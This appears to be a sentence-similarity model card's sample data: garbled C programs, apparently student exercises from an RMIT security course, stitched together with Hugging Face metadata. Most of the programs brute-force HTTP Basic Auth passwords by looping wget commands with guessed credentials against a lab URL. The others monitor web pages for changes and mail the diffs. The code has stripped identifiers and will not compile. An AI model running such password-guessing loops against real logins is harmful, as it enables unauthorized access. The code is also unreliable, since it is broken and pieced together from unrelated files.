	str = malloc(len);

	if (str)
	{
		for (i=0; i<len-1; i++)
		{
			str[i] = headOfChSet;
		}
		str[len-1] = ch;
		str[len] = '\0';
	}
	else
	{
		fprintf(stderr, "\nError: Unable  allocate %d bytes memory.", len);
		exit(EXIT_FAILURE);
	}
	
	return str;
}



int pow(int x, int y)
{
	int ans = 1, i;
	
	for (i=0; i<y; i++)
	{
		ans *= x;
	}

	return ans;
}



int crackHTTPAuth(const char *username, const char *passwd, int id)
{
	char cmd[256];
	struct stat fileInfo;
	char fileToCheck[256];
	
	sprintf(cmd, "wget -O %d -q --http-user=%s --http-passwd=%s --proxy=off %s", 
						id, username, passwd, URL);

	system(cmd);	

	sprintf(fileToCheck, "%d", id);

	(void)stat(fileToCheck, &fileInfo); 
	return fileInfo.st_size;
	
}


, #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<strings.h>
#include <ctype.h>
#include <math.h>
#include <sys/time.h>

int
()
{

	int        , end;
	FILE           *fp;
	int             i, j;
	char            input;
	char            password[30];
	int             check;

	float           total_time;
	int             number;
	 = time();


	if ((fp = fopen("words", "r")) == NULL) {
		fprintf(stderr, "Error : Failed  open words for .\n");
		return (EXIT_FAILURE);
	}
	while ((input = fgetc(fp)) != EOF) {
		j = 0;
		for (i = 0; i < 30; i++)
			password[i] = '\0';

		while(input != '\n' ) {

			password[j] = input;
			j++;
			input = fgetc(fp);
			
		
		}


		if (strlen(password) <= 3) {
			printf("%s\t",password);
			fflush(stdout);
			check = SysCall(password);
			if (check == 0) {
				getpid();
				end = time();
				total_time = (end - ) / 1e9;
				printf("\ntotal time_var = %f ", total_time);
				printf("\n\nAvg getpid() time_var = %f usec\n", total_time);
				printf("\navg time_var  %f / %d = %f\n", total_time, number, total_time / number);
				exit(0);
			}
		}

	}

	return (EXIT_SUCCESS);
}
int
SysCall(char *password)
{
	char            url1[255], url2[255], [255];
	int             rettype;
	rettype = 0;
	strcpy(url1, "wget --non-verbose --http-user= --http-passwd=");
	strcpy(url2, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");

	strcat(, url1);
	strcat(, password);
	strcat(, url2);

	rettype = system();
	
	if (rettype == 0) {
		printf("Successfully retrieved password: %s\n", password);
		return 0;
	}
	strcpy(, "");
}
, source_sentence: 


#include <stdio.h>

#include <stdlib.h>
int ()
{
  int i,j,k,counter =0;
  char  word[3];
  char paswd[3];	
  char get[100];
  int ;
  char username[]="";
  
  
  
  
  
				
	
	for (i = 65; i <= 122; i++)
	{
		 if(i==91) {i=97;} 
   
		for (j = 65; j <= 122; j++)
		{
		
		if(j==91) {j=97;}
      
		for (k = 65; k <= 122; k++)
		{
		 
			if(k==91) {k=97;}  
			
			 word[0] = i;
			 word[1] = j;
			 word[2] = k;
			 sprintf(paswd,"%c%c%c",word[0],word[1],word[2]);       
			 counter++;
			printf("%d )%s\n\n", counter, paswd);
			 sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);
			=system(get);
	  
			if(==0) 
			{
			printf("The Password has been cracked and it is : %s" , paswd);
			exit(0);
			}
		}
     
		}
  
	}
  
	
}


sentences: 

#include <stdio.h>
#include <string.h>
#include <sys/time.h>

#define OneBillion 1e9
#define false 0
#define true 1
int execPassword(char *, char *b) {


    char [100]={'\0'};
    strcpy(,b);
    
    strcat(,);
    printf ("Sending command %s\n",);
    if ( system()== 0) {
       printf ("\n password is : %s",);
       return 1;
    }
    return 0;
}
 

int bruteForce(char [],char comb[],char *url) {


int i,j,k;

   for(i=0;i<52 ;i++) {
        comb[0]= [i];
        if (execPassword(comb,url)== 1) return 1; 
          for(j=0;j<52;j++) {
              comb[1] = [j];
              if(execPassword(comb,url)==1) return 1;
                for(k=0;k<52;k++) {
                    comb[2] = [k];
                    if(execPassword(comb,url)==1) return 1;
                }
          comb[1] = '\0';
     }
   }
   return 0;

} 

int  (char *argc, char *argv[]) {

 int i,j,k;
 char strin[80] = {'\0'};
 char *passwd;
 char a[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
 char v[4]={'\0'};
 int startTime, stopTime, final;
 int flag=false; 
 strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");

  startTime = time();
    if (bruteForce(a,v,strin)==1) {
      stopTime = time();
      final = stopTime-startTime;
    }

       printf ("\n The password is : %s",v);
       printf("%lld nanoseconds (%lf) seconds \n", final,  (double)final/OneBillion );

}
, 

#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255


int  (int argc, char *argv[])
 {
     FILE *fp;
     
   while(1)
    {       
      system("wget -p http://www.cs.rmit.edu./students");



      system("mkdir data"); 
      if((fp=fopen("./data/index.html","r"))==NULL)
       { 
         system("cp www.cs.rmit.edu./students/index.html ./data");
	 
       }
      else
       {  
               
	 
	 system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
	 system("cp www.cs.rmit.edu./students/index.html ./data");
       }     



      system("mkdir images"); 
      if((fp=fopen("./images/file.txt","r"))==NULL)
       { 
          system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
		 
       }
      
      else
       {          
          system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
	 
	 
	 
	 system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
	 system("cp www.cs.rmit.edu./file.txt ./images");
       }
     sleep(86400); 
    }	
     return (EXIT_SUCCESS);
  }
     
	   
	  	
, #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>


public static void main()
{
	int i;
	char ar[100];
	FILE* f;
	FILE* ;
	system("wget -O first www.rmit.edu./students");  
	while(1)
	{
		sleep(86400);	
		system("rm -f thed");
		system("rm -f new");
		system("wget -O new www.cs.rmit.edu./students");	
		system("diff new first >thed");	
		f=fopen("thed","r");
		if(fgets(ar,100,f)!=NULL)
		{		
			 printf("\n\n The  has CHANGEDS");		
			system("mail @cs.rmit.edu. <thed"); 
			system("cp new first");
			fclose(f);
		}
		else
		{
		fclose(f);
		printf("\n\nthe  has not changed ");
		}
	}

}

	
	
	
		



pipeline_tag: sentence-similarity
library_name: sentence-transformers
Likes: 0 | All-time downloads: 107
Created: 2025-07-02 14:15:11